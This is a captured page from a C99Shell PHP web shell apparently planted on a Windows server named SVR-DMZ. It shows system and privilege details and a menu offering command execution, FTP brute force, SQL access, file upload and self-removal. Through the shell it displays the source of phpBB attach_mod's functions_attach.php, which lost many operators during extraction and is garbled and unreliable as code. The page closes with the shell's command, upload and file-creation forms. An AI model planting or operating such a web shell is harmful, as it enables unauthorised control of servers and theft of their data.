!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\phpbb\attach_mod\includes\   drwxrwxrwx
Free 7.27 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions_attach.php (18.01 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/***************************************************************************
 *                            functions_attach.php
 *                            -------------------
 *   begin                : Friday, Mar 29, 2002
 *   copyright            : (C) 2002 Meik Sievertsen
 *   email                : acyd.burn@gmx.de
 *
 *   $Id: functions_attach.php,v 1.42 2005/05/09 19:30:29 acydburn Exp $
 *
 *
 ***************************************************************************/

/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 *
 ***************************************************************************/

//
// All Attachment Functions needed everywhere
//

//
// A simple dectobase64 function
//
function base64_pack($number

    
$chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-';
    
$base strlen($chars);

    if (
$number 4096)
    {
        return;
    }
    else if (
$number $base)
    {
        return 
$chars[$number];
    }
    
    
$hexval '';
    
    while (
$number 0
    { 
        
$remainder $number%$base;
    
        if (
$remainder $base)
        {
            
$hexval $chars[$remainder] . $hexval;
        }

        
$number floor($number/$base); 
    } 

    return 
$hexval
}

//
// base64todec function
//
function base64_unpack($string)
{
    
$chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-';
    
$base strlen($chars);

    
$length strlen($string); 
    
$number 0

    for(
$i 1$i <= $length$i++)
    { 
        
$pos $length $i
        
$operand strpos($charssubstr($string,$pos,1));
        
$exponent pow($base$i-1); 
        
$decValue $operand $exponent
        
$number += $decValue
    } 

    return 
$number
}

//
// Per Forum based Extension Group Permissions (Encode Number) -> Theoretically up to 158 Forums saveable. :)
// We are using a base of 64, but splitting it to one-char and two-char numbers. :)
//
function auth_pack($auth_array)
{
    
$one_char_encoding '#';
    
$two_char_encoding '.';
    
$one_char $two_char false;
    
$auth_cache '';
    
    for (
$i 0$i sizeof($auth_array); $i++)
    {
        
$val base64_pack(intval($auth_array[$i]));
        if (
strlen($val) == && !$one_char)
        {
            
$auth_cache .= $one_char_encoding;
            
$one_char true;
        }
        else if (
strlen($val) == && !$two_char)
        {        
            
$auth_cache .= $two_char_encoding;
            
$two_char true;
        }
        
        
$auth_cache .= $val;
    }

    return 
$auth_cache;
}

//
// Reverse the auth_pack process
//
function auth_unpack($auth_cache)
{
    
$one_char_encoding '#';
    
$two_char_encoding '.';

    
$auth = array();
    
$auth_len 1;
    
    for (
$pos 0$pos strlen($auth_cache); $pos += $auth_len)
    {
        
$forum_auth substr($auth_cache$pos1);
        if (
$forum_auth == $one_char_encoding)
        {
            
$auth_len 1;
            continue;
        }
        else if (
$forum_auth == $two_char_encoding)
        {
            
$auth_len 2;
            
$pos--;
            continue;
        }
        
        
$forum_auth substr($auth_cache$pos$auth_len);
        
$forum_id base64_unpack($forum_auth);
        
$auth[] = intval($forum_id);
    }
    return 
$auth;
}

//
// Used for determining if Forum ID is authed, please use this Function on all Posting Screens
//
function is_forum_authed($auth_cache$check_forum_id)
{
    
$one_char_encoding '#';
    
$two_char_encoding '.';

    if (
trim($auth_cache) == '')
    {
        return 
true;
    }

    
$auth = array();
    
$auth_len 1;
    
    for (
$pos 0$pos strlen($auth_cache); $pos+=$auth_len)
    {
        
$forum_auth substr($auth_cache$pos1);
        if (
$forum_auth == $one_char_encoding)
        {
            
$auth_len 1;
            continue;
        }
        else if (
$forum_auth == $two_char_encoding)
        {
            
$auth_len 2;
            
$pos--;
            continue;
        }
        
        
$forum_auth substr($auth_cache$pos$auth_len);
        
$forum_id = (int) base64_unpack($forum_auth);
        if (
$forum_id == $check_forum_id)
        {
            return 
true;
        }
    }
    return 
false;
}

//
// Init FTP Session
//
function attach_init_ftp($mode false)
{
    global 
$lang$attach_config;

    
$server = (trim($attach_config['ftp_server']) == '') ? 'localhost' trim($attach_config['ftp_server']);
    
    
$ftp_path = ($mode == MODE_THUMBNAIL) ? trim($attach_config['ftp_path']) . '/' THUMB_DIR trim($attach_config['ftp_path']);

    
$conn_id = @ftp_connect($server);

    if (!
$conn_id)
    {
        
message_die(GENERAL_ERRORsprintf($lang['Ftp_error_connect'], $server));
    }

    
$login_result = @ftp_login($conn_id$attach_config['ftp_user'], $attach_config['ftp_pass']);

    if ( (!
$login_result) )
    {
        
message_die(GENERAL_ERRORsprintf($lang['Ftp_error_login'], $attach_config['ftp_user']));
    }
        
    if (!@
ftp_pasv($conn_idintval($attach_config['ftp_pasv_mode'])))
    {
        
message_die(GENERAL_ERROR$lang['Ftp_error_pasv_mode']);
    }
    
    
$result = @ftp_chdir($conn_id$ftp_path);

    if (!
$result)
    {
        
message_die(GENERAL_ERRORsprintf($lang['Ftp_error_path'], $ftp_path));
    }

    return 
$conn_id;
}

//
// Deletes an Attachment
//
function unlink_attach($filename$mode false)
{
    global 
$upload_dir$attach_config$lang;

    
$filename basename($filename);
    
    if (!
intval($attach_config['allow_ftp_upload']))
    {
        if (
$mode == MODE_THUMBNAIL)
        {
            
$filename $upload_dir '/' THUMB_DIR '/t_' $filename;
        }
        else
        {
            
$filename $upload_dir '/' $filename;
        }

        
$deleted = @unlink($filename);
    }
    else
    {
        
$conn_id attach_init_ftp($mode);

        if (
$mode == MODE_THUMBNAIL)
        {
            
$filename 't_' $filename;
        }
        
        
$res = @ftp_delete($conn_id$filename);
        if (!
$res)
        {
            if (
ATTACH_DEBUG)
            {
                
$add = ($mode == MODE_THUMBNAIL) ? '/' THUMB_DIR ''
                
message_die(GENERAL_ERRORsprintf($lang['Ftp_error_delete'], $attach_config['ftp_path'] . $add));
            }

            return 
$deleted;
        }

        @
ftp_quit($conn_id);

        
$deleted true;
    }

    return 
$deleted;
}

//
// FTP File to Location
//
function ftp_file($source_file$dest_file$mimetype$disable_error_mode false)
{
    global 
$attach_config$lang$error$error_msg;

    
$conn_id attach_init_ftp();

    
//
    // Binary or Ascii ?
    //
    
$mode FTP_BINARY;
    if (
preg_match("/text/i"$mimetype) || preg_match("/html/i"$mimetype))
    {
        
$mode FTP_ASCII;
    }

    
$res = @ftp_put($conn_id$dest_file$source_file$mode);
                
    if (!
$res && !$disable_error_mode)
    {
        
$error true;
        if (!empty(
$error_msg))
        {
            
$error_msg .= '<br />';
        }
        
$error_msg sprintf($lang['Ftp_error_upload'], $attach_config['ftp_path']) . '<br />';
        @
ftp_quit($conn_id);
        return 
false;
    }

    if (!
$res)
    {
        return 
false;
    }
                
    @
ftp_site($conn_id'CHMOD 0644 ' $dest_file);
    @
ftp_quit($conn_id);
    return 
true;
}

//
// Check if Attachment exist
//
function attachment_exists($filename)
{
    global 
$upload_dir$attach_config;

    if (!
intval($attach_config['allow_ftp_upload']))
    {
        if (!@
file_exists(@amod_realpath($upload_dir '/' $filename)))
        {
            return 
false;
        }
        else
        {
            return 
true;
        }
    }
    else
    {
        
$found false;

        
$conn_id attach_init_ftp();

        
$file_listing = array();

        
$file_listing = @ftp_rawlist($conn_id$filename);

        for (
$i 0$i sizeof($file_listing); $i++)
        {
            if (
ereg("([-d])[rwxst-]{9}.* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)"$file_listing[$i], $regs))
            {
                if (
$regs[1] == 'd'
                {    
                    
$dirinfo[0] = 1;    // Directory == 1
                
}
                
$dirinfo[1] = $regs[2]; // Size
                
$dirinfo[2] = $regs[3]; // Date
                
$dirinfo[3] = $regs[4]; // Filename
                
$dirinfo[4] = $regs[5]; // Time
            
}
            
            if (
$dirinfo[0] != && $dirinfo[4] == $filename)
            {
                
$found true;
            }
        }

        @
ftp_quit($conn_id);    
        
        return 
$found;
    }
}

//
// Check if Thumbnail exist
//
function thumbnail_exists($filename)
{
    global 
$upload_dir$attach_config;

    if (!
intval($attach_config['allow_ftp_upload']))
    {
        if (!@
file_exists(@amod_realpath($upload_dir '/' THUMB_DIR '/t_' $filename)))
        {
            return 
false;
        }
        else
        {
            return 
true;
        }
    }
    else
    {
        
$found false;

        
$conn_id attach_init_ftp(MODE_THUMBNAIL);

        
$file_listing = array();

        
$filename 't_' $filename;
        
$file_listing = @ftp_rawlist($conn_id$filename);

        for (
$i 0$i sizeof($file_listing); $i++)
        {
            if (
ereg("([-d])[rwxst-]{9}.* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)"$file_listing[$i], $regs))
            {
                if (
$regs[1] == 'd')
                {    
                    
$dirinfo[0] = 1;    // Directory == 1
                
}
                
$dirinfo[1] = $regs[2]; // Size
                
$dirinfo[2] = $regs[3]; // Date
                
$dirinfo[3] = $regs[4]; // Filename
                
$dirinfo[4] = $regs[5]; // Time
            
}
            
            if (
$dirinfo[0] != && $dirinfo[4] == $filename)
            {
                
$found true;
            }
        }

        @
ftp_quit($conn_id);    
        
        return 
$found;
    }
}

//
// Physical Filename stored already ?
//
function physical_filename_already_stored($filename)
{
    global 
$db;

    if (
$filename == '')
    {
        return 
false;
    }

    
$sql 'SELECT attach_id 
        FROM ' 
ATTACHMENTS_DESC_TABLE "
        WHERE physical_filename = '" 
str_replace("'""''"basename($filename)) . "' 
        LIMIT 1"
;

    if (!(
$result $db->sql_query($sql)))
    {
        
message_die(GENERAL_ERROR'Could not get attachment information for filename: ' $filename''__LINE____FILE__$sql);
    }
    
    return (
$db->sql_numrows($result) == 0) ? false true;
}

//
// Determine if an Attachment exist in a post/pm
//
function attachment_exists_db($post_id$page 0)
{
    global 
$db;

    if (
$page == PAGE_PRIVMSGS)
    {
        
$sql_id 'privmsgs_id';
    }
    else
    {
        
$sql_id 'post_id';
    }

    
$sql 'SELECT attach_id
        FROM ' 
ATTACHMENTS_TABLE "
        WHERE 
$sql_id = $post_id 
        LIMIT 1"
;

    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not get attachment informations for specific posts'''__LINE____FILE__$sql);
    }

    if ((
$db->sql_numrows($result)) > 0)
    {
        return 
true;
    }
    else
    {
        return 
false;
    }
}

//
// get all attachments from a post (could be an post array too)
//
function get_attachments_from_post($post_id_array)
{
    global 
$db$attach_config;

    
$attachments = array();

    if (!
is_array($post_id_array))
    {
        if (empty(
$post_id_array))
        {
            return 
$attachments;
        }

        
$post_id intval($post_id_array);

        
$post_id_array = array();
        
$post_id_array[] = $post_id;
    }

    
$post_id_array implode(', '$post_id_array);

    if (
$post_id_array == '')
    {
        return 
$attachments;
    }

    
$display_order = (intval($attach_config['display_order']) == 0) ? 'DESC' 'ASC';
    
    
$sql 'SELECT a.post_id, d.*
        FROM ' 
ATTACHMENTS_TABLE ' a, ' ATTACHMENTS_DESC_TABLE " d
        WHERE a.post_id IN (
$post_id_array)
            AND a.attach_id = d.attach_id
        ORDER BY d.filetime 
$display_order";

    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not get Attachment Informations for post number ' $post_id_array''__LINE____FILE__$sql);
    }

    if ( (
$db->sql_numrows($result)) == )
    {
        return 
$attachments;
    }
        
    
$attachments $db->sql_fetchrowset($result);
    
$db->sql_freeresult($result);

    return 
$attachments;
}

//
// get all attachments from a pm
//
function get_attachments_from_pm($privmsgs_id_array)
{
    global 
$db$attach_config;

    
$attachments = array();

    if (!
is_array($privmsgs_id_array))
    {
        if (empty(
$privmsgs_id_array))
        {
            return 
$attachments;
        }

        
$privmsgs_id intval($privmsgs_id_array);

        
$privmsgs_id_array = array();
        
$privmsgs_id_array[] = $privmsgs_id;
    }

    
$privmsgs_id_array implode(', '$privmsgs_id_array);

    if (
$privmsgs_id_array == '')
    {
        return 
$attachments;
    }

    
$display_order = (intval($attach_config['display_order']) == 0) ? 'DESC' 'ASC';
    
    
$sql 'SELECT a.privmsgs_id, d.*
        FROM ' 
ATTACHMENTS_TABLE ' a, ' ATTACHMENTS_DESC_TABLE " d
        WHERE a.privmsgs_id IN (
$privmsgs_id_array
            AND a.attach_id = d.attach_id
        ORDER BY d.filetime 
$display_order";

    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not get Attachment Informations for private message number ' $privmsgs_id_array''__LINE____FILE__$sql);
    }

    if ( (
$db->sql_numrows($result)) == )
    {
        return 
$attachments;
    }
        
    
$attachments $db->sql_fetchrowset($result);
    
$db->sql_freeresult($result);

    return 
$attachments;
}

//
// Count Filesize of Attachments in Database based on the attachment id
//
function get_total_attach_filesize($attach_ids)
{
    global 
$db;

    
$sql 'SELECT filesize
        FROM ' 
ATTACHMENTS_DESC_TABLE "
        WHERE attach_id IN (
$attach_ids)";

    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not query Total Filesize'''__LINE____FILE__$sql);
    }

    
$total_filesize 0;

    while (
$row $db->sql_fetchrow($result))
    {
        
$total_filesize += (int) $row['filesize'];
    }
    
$db->sql_freeresult($result);

    return 
$total_filesize;
}

//
// Count Filesize for Attachments in Users PM Boxes (Do not count the SENT Box)
//
function get_total_attach_pm_filesize($direction$user_id)
{
    global 
$db;

    if (
$direction != 'from_user' && $direction != 'to_user')
    {
        return 
0;
    }
    else
    {
        
$user_sql = ($direction == 'from_user') ? '(a.user_id_1 = ' intval($user_id) . ')' '(a.user_id_2 = ' intval($user_id) . ')';
    }

    
$sql 'SELECT a.attach_id
        FROM ' 
ATTACHMENTS_TABLE ' a, ' PRIVMSGS_TABLE " p
        WHERE 
$user_sql 
            AND a.privmsgs_id <> 0 AND a.privmsgs_id = p.privmsgs_id
            AND p.privmsgs_type <> " 
PRIVMSGS_SENT_MAIL;

    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not query Attachment Informations'''__LINE____FILE__$sql);
    }
                
    
$pm_filesize_total 0;
    
$attach_id = array();
    
$num_rows $db->sql_numrows($result);

    if (
$num_rows == 0)
    {
        return 
$pm_filesize_total;
    }
    
    while (
$row $db->sql_fetchrow($result))
    {
        
$attach_id[] = $row['attach_id'];
    }
    
$db->sql_freeresult($result);

    
$pm_filesize_total get_total_attach_filesize(implode(', '$attach_id));
    return 
$pm_filesize_total;
}

//
// Prune Attachments <- called from includes/prune.php
//
function prune_attachments($sql_post)
{
    
    
//
    // Yeah, prune it.
    //
    
delete_attachment($sql_post);
}

//
// Get allowed Extensions and their respective Values
//
function get_extension_informations()
{
    global 
$db;

    
$extensions = array();

    
// Don't count on forbidden extensions table, because it is not allowed to allow forbidden extensions at all
    
$sql 'SELECT e.extension, g.cat_id, g.download_mode, g.upload_icon
        FROM ' 
EXTENSIONS_TABLE ' e, ' EXTENSION_GROUPS_TABLE ' g
        WHERE e.group_id = g.group_id
            AND g.allow_group = 1'
;
    
    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not query Allowed Extensions.'''__LINE____FILE__$sql);
    }

    
$extensions $db->sql_fetchrowset($result);
    
$db->sql_freeresult($result);
    return 
$extensions;
}

//
// Sync Topic
//
function attachment_sync_topic($topic_id)
{
    global 
$db;
                
    if (!
$topic_id)
    {
        return;
    }

    
$sql 'SELECT post_id 
        FROM ' 
POSTS_TABLE 
        WHERE topic_id = 
$topic_id
        GROUP BY post_id"
;
        
    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Couldn\'t select Post ID\'s'''__LINE____FILE__$sql);
    }

    
$post_list $db->sql_fetchrowset($result);
    
$num_posts $db->sql_numrows($result);
    
$db->sql_freeresult($result);

    if (
$num_posts == 0)
    {
        return;
    }
    
    
$post_ids = array();

    for (
$i 0$i $num_posts$i++)
    {
        
$post_ids[] = intval($post_list[$i]['post_id']);
    }

    
$post_id_sql implode(', '$post_ids);
    
    if (
$post_id_sql == '')
    {
        return;
    }
    
    
$sql 'SELECT attach_id 
        FROM ' 
ATTACHMENTS_TABLE 
        WHERE post_id IN (
$post_id_sql
        LIMIT 1"
;
        
    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Couldn\'t select Attachment ID\'s'''__LINE____FILE__$sql);
    }

    
$set_id = ($db->sql_numrows($result) == 0) ? 1;

    
$sql 'UPDATE ' TOPICS_TABLE " SET topic_attachment = $set_id WHERE topic_id = $topic_id";

    if ( !(
$db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Couldn\'t update Topics Table'''__LINE____FILE__$sql);
    }
        
    for (
$i 0$i count($post_ids); $i++)
    {
        
$sql 'SELECT attach_id 
            FROM ' 
ATTACHMENTS_TABLE 
            WHERE post_id = ' 
$post_ids[$i] . '
            LIMIT 1'
;

        if ( !(
$result $db->sql_query($sql)) )
        {
            
message_die(GENERAL_ERROR'Couldn\'t select Attachment ID\'s'''__LINE____FILE__$sql);
        }

        
$set_id = ( $db->sql_numrows($result) == 0) ? 1;
        
        
$sql 'UPDATE ' POSTS_TABLE " SET post_attachment = $set_id WHERE post_id = {$post_ids[$i]}";

        if ( !(
$db->sql_query($sql)) )
        {
            
message_die(GENERAL_ERROR'Couldn\'t update Posts Table'''__LINE____FILE__$sql);
        }
    }
}

//
// Get Extension
//
function get_extension($filename)
{
    if (!
stristr($filename'.'))
    {
        return 
'';
    }
    
$extension strrchr(strtolower($filename), '.');
    
$extension[0] = ' ';
    
$extension strtolower(trim($extension));
    if (
is_array($extension))
    {
        return 
'';
    }
    else
    {
        return 
$extension;
    }
}

//
// Delete Extension
//
function delete_extension($filename)
{
    return 
substr($filename0strrpos(strtolower(trim($filename)), '.'));
}

// 
// Check if a user is within Group
//
function user_in_group($user_id$group_id)
{
    global 
$db;

    if (empty(
$user_id) || empty($group_id))
    {
        return 
false;
    }
    
    
$sql 'SELECT u.group_id 
        FROM ' 
USER_GROUP_TABLE ' u, ' GROUPS_TABLE " g 
        WHERE g.group_single_user = 0
            AND u.group_id = g.group_id
            AND u.user_id = 
$user_id 
            AND g.group_id = 
$group_id)
        LIMIT 1"
;
            
    if ( !(
$result $db->sql_query($sql)) )
    {
        
message_die(GENERAL_ERROR'Could not get User Group'''__LINE____FILE__$sql);
    }

    if (
$db->sql_numrows($result) == 0)
    {
        return 
false;
    }
    return 
true;
}

function 
amod_realpath($path)
{
    return (
function_exists('realpath')) ? realpath($path) : $path;
}

function 
_set_var(&$result$var$type)
{
    
settype($var$type);
    
$result $var;

    if (
$type == 'string')
    {
        
$result trim(htmlspecialchars(str_replace(array("\r\n""\r"'\xFF'), array("\n""\n"' '), $result)));
    }
}

function 
get_var($var_name$default)
{
    global 
$HTTP_POST_VARS$HTTP_GET_VARS;

    if (!isset(
$HTTP_POST_VARS[$var_name]) && !isset($HTTP_GET_VARS[$var_name]))
    {
        return 
$default;
    }
    else
    {
        
$var = (isset($HTTP_POST_VARS[$var_name])) ? $HTTP_POST_VARS[$var_name] : $HTTP_GET_VARS[$var_name];
        
$type gettype($default);

        if (
is_array($var))
        {
            return 
$default;
        }
        else
        {
            
_set_var($var$var$type);
        }

        return 
$var;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--